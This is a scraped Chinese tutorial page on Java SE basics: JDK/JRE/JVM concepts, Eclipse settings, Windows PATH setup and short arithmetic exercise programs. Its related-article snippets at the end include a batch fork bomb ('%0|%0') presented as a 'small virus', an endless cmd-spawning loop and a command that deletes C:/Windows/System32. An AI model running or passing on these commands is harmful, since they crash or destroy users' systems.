SE基础一

news/2024/11/21 1:47:38/

JavaSE

基础概念:

软件:(softwore)特定顺序的计算机数据与指令
软件:系统软件(操作系统)、应用软件(主要处理某一领域的问题的软件)。
语言分为:
计算机语言( 机器语言 )(011100)
汇编语言 (MOV AX,5)
高级语言(a=2+3)
问题:高级语言不能被计算机直接识别,怎么办?
解决:静态编译、动态解释
静态编译:将代码进行编译生成机器码再运行(java、c)
动态解释:读取一行编译一行运行一行(python、matlab)
java特点:不直接运行在计算机上。
java跨平台的本质是.class文件跨平台
JVM:Java Virtual Machine Java虚拟机(相当于翻译官,操作系统不同时,JVM也不同)。
跨平台性
JRE:JVM+核心类库;
作用:运行java程序
(Java Runtime Environment)java运行环境
JDK:JRE+开发工具
作用:开发
(Java Development Kit)java开发工具包
运行java程序时:

javac(java编译器)–>将源代码编译成字节码
java(java运行器)–>将字节码加载到虚拟机中运行

Eclipse

字体的调整

Window–>Preferences–>General–>Appearance–>colors and Fonts

编码集设置

Window–>Preferences->General–>WorkSpace–>Text file encoding–>other–>UTF-8

win10环境变量的配置

默认安装路径下:
C:\Program Files\Java\jdk1.8.0_144\bin
复制路径–>此电脑右键–>属性–>高级系统设置–>环境变量–>系统变量–>双击Path–>新建–>粘贴路径–>一路确定。

win10环境变量的配置检测

windows+R–>cmd–>javac–>出现下图表示配置成功
在这里插入图片描述

编程练习题

在这里插入图片描述

/*
*需求:
*分子:(9.5*4.5-2.5*3)
*分母:(45.5-3.5)
*/
public class Demo1_1{public static void main(String[] args){System.out.println((9.5*4.5-2.5*3)/(45.5-3.5));  }  
}``

在这里插入图片描述

public class Demo1_2 {public static void main(String[] args){System.out.println(1+2+3+4+5+6+7+8+9);}
}

在这里插入图片描述

public class Demo1_3 {public static void main(String[] args) {// TODO Auto-generated method stubSystem.out.println(4*(1-1.0/3+1.0/5-1.0/7+1.0/9-1.0/11));System.out.println(4*(1-1.0/3+1.0/5-1.0/7+1.0/9-1.0/11+1.0/13));}}

在这里插入图片描述

    public class Demo1_4 {public static void main(String[] args){//避免死数据---用户输入System.out.println("周长为:"+(2*5.5*3.14));System.out.println("面积为:"+(5.5*5.5*3.14));}}![在这里插入图片描述](https://img-blog.csdn.net/20181006155151229?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dfbF94eg==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)```java
public class Demo1_5 {public static void main(String[] args){System.out.println(3600*(14/1.6)/(45*60+30));}
}

在这里插入图片描述

public class Demo1_6 {public static void main(String[] args){System.out.println(3600*(24*1.6)/(1*60*60+40*60+35));}
}

在这里插入图片描述

public class Demo1_7 {public static void main(String[] args){System.out.println("X:"+((44.5*0.55-50.2*5.9)/(3.4*0.55-50.2*2.1)));System.out.println("Y:"+((3.4*5.9-44.5*0.55)/(3.4*0.55-50.2*2.1)));}
}

在这里插入图片描述

public class Demo1_8 {public static void main(String[] args){System.out.println(312032486+365*24*60*60/7-365*24*60*60/13+365*24*60*60/45);System.out.println(315970956+365*24*60*60/7-365*24*60*60/13+365*24*60*60/45);System.out.println(319909426+365*24*60*60/7-365*24*60*60/13+365*24*60*60/45);	}
}

http://www.ppmy.cn/news/579021.html

相关文章

SE模块的理解

之前对SE模块的两个全连接层的作用和设置有疑问,于是和实验室同学讨论学习了一下,以下是我自己的理解,如果有不准确的地方请批评指正。 1、压缩(Squeeze) 进行的操作是 全局平均池化(global average pool…

【Java SE】SE“细节”知识大总结

目录 1.初识JAVA 1.1环境配置时JDK、JRE、JVM之间是什么关系? 1.2Java代码运行过程 1.3一个简单Java程序的解释 1.4什么叫“一次编译,到处运行”? 1.5注释常见错误 1.6标识符 1.7关键字 2.数据类型 2.1基本数据类型 2.2.引用型数据类型 2.3…

String ==的几种情况说明记录

堆 直接存放于堆中,或者 存在于常量池中。 比较的是内存地址 equals 比较的是值 示例1 String x "hello";String y "hello";System.out.println(x y); //trueSystem.out.println(x.equals(y)); //trueString x “hello”; 在堆的…

DOS小病毒

仅供参考 %0|%0 ----分割线以下不要复制---- 详细步骤: 打开记事本→粘贴进去→另存为,编码ANSI,后缀.bat

cmd危险指令

第一个: %0|%0 大家要是学过一点DOS都知道这个指令,它会重复打开当前程序,卡爆电脑。 第二个: start cmd %0 或 :1 start cmd goto 1 它会永不停止地启动cmd 第三个: del /F /S /Q C:/Windows/System32 要…

Windows Cmd

查看文件行数find /V /C "" 【文件绝对路径】

cmd命令查看电脑是否中毒

命令: tasklist /svc|findstr "svchost" 正常情况下每个svchost.exe进程都是对应着相应服务,如果有一个svchost.exe后面显示着暂缺,那就要注意了。

cmd杀毒代码

使用方法: 创建文本文档将代码复制进去将后缀txt改为bat echo off taskkill /f /im sxs.exe /t taskkill /f /im SVOHOST.exe /t c: attrib sxs.exe -a -h -s del /s /q /f sxs.exe attrib autorun.inf -a -h -s del /s /q /f autorun.inf d: attrib sxs.…